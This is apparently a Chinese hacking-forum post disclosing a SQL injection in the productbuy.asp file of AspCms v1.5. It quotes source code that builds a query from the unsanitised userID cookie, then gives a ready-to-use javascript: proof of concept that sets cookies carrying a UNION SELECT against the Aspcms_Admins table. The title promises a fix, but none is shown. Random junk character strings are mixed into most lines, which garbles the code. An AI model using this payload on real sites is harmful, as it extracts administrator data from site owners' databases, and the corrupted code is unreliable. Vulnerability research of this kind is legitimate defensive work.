AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
5 y9 K- }$ H: |  D也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
  A9 m* r+ q3 n" h7 `! H) r废话不多说，看代码：
) e3 S: ^8 S+ J2 Y! Y
1 g+ U8 }% ?0 }! p" N: L0 E<%
1 ^/ }' J; f/ O  x5 @4 ?
if action = "buy" then

/ U; v3 k$ |' i0 |        addOrder()

else

4 X5 h- n* ?$ a) y" ?7 N        echoContent()

end if
# x8 p: C  Q# U; e# G; [
# Q4 m8 i* r; o" U1 i

" b: H9 I. k4 E……略过

/ J  Q$ N6 q2 }, h

& ?# n# M$ w9 T5 nSub echoContent()
7 e7 {: S; l8 ]" i
% {; ~  G' k/ a4 @: {3 u        dim id
: v3 m, M# i- g2 S' p" j
# B5 m2 j) W" Y6 i& v- r        id=getForm("id","get")

3 F6 p8 h/ r: p& ~$ ]0 M        

, Y7 H% Q' v+ w+ r        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

" F  z# A2 i* `) t4 {        
+ b; V4 p$ m; F3 ?3 B
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- b  W% n$ h$ k
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

0 Q2 i7 ?- I2 J# r# V5 ]& Q! G# h; K. \4 l

. P3 ]/ Q5 I3 Y$ `: _$ @* i8 U        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

4 t, U- p  w% n, m        selectproduct=rsObj(0)

& w. `" }/ ~  O9 w4 \8 a        

! `) m" C; V# k; X0 W2 P        Dim linkman,gender,phone,mobile,email,qq,address,postcode
4 C2 I) v* s) j8 q- W
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
. |3 z  |7 d7 w# p7 T# i! h% u; d
3 ~  r' v5 c$ J+ j3 p! P, @# @        if rCookie("loginstatus")=1 then  

! C% Z* ?9 k. l2 k                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
) [- a9 p8 ~$ r2 n2 Z# y
                linkman=rsObj("truename")
1 |* I8 A  `# ?) i8 p2 Z( D0 y3 S
8 c7 [0 q+ ?- J& e                gender=rsObj("gender")
" j9 t& o& Q1 t9 O' a
- y6 l4 \6 t3 o9 D, u                phone=rsObj("phone")

6 c& ^4 l- X4 Q, c( d& o, ?                mobile=rsObj("mobile")

                email=rsObj("email")
. U% E: ^' M5 F- c( Q: o% e! ?
/ ^/ X# ^6 r4 m! Z                qq=rsObj("qq")
! ]% n, W9 V3 U
                address=rsObj("address")

! R5 w" w& v3 w' \; @* N" W                postcode=rsObj("postcode")

        else
! {: r& H4 E9 ^0 m8 g0 F4 k; f
5 F: {2 U8 e; D2 N) c$ r" Y, \. F: U                gender=1
5 \' h3 E0 M& D
        end if
# ]2 @% j; _5 t. X% i' i
4 C; e6 \9 D$ b2 E' u7 f/ L        rsObj.close()
, }! `4 y4 v' v5 Z. O
- Q; H) I( ]9 S, b               
" @  q  h  t. L& u4 R7 V2 x. s
9 f! z) W! |3 k; b        with templateObj
. D. s5 j% W! p9 t8 o$ X
" `3 J9 Z( p" _' ?- N- c                .content=loadFile(templatePath)        

  z: P/ ?/ R' }# |: L                .parseHtml()

3 a# R$ `  }# P' ~6 N                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
2 L/ o1 V; _0 B  x  s$ g) }& v; J6 M
& y: W9 \3 m8 a& O! y# d                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 h5 c  [$ u# ~( d( f
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
; v  K) [2 c8 h( F( y6 ^3 e
* L) j% J% P$ G                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
, d" e6 J3 W1 \. I
                .content=replaceStr(.content,"[aspcms:address]",address)                        
  R+ b  D( M' \- j5 F
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
' i+ ~9 N/ O' K- `: p
% h+ e8 V5 Y3 T9 U, z4 v                .parseCommon()                 

$ w* f# O* m9 G) U+ n                echo .content

# O1 d( `  y( I) P/ a' D        end with
+ r4 `' d% z+ [- I2 U5 J
9 `8 U/ h; A% t3 V' @9 V  H        set templateobj =nothing : terminateAllObjects
( d9 t' ?& S/ _) W1 A2 N- ~% R
End Sub
漏洞很明显，没啥好说的
: m3 ^4 {( M* B( L9 o  n( V. m+ [, lpoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
0 w% h7 J# D  O2 t+ M7 }% G' t. }: ^7 G
3 r* M& z5 l' U, U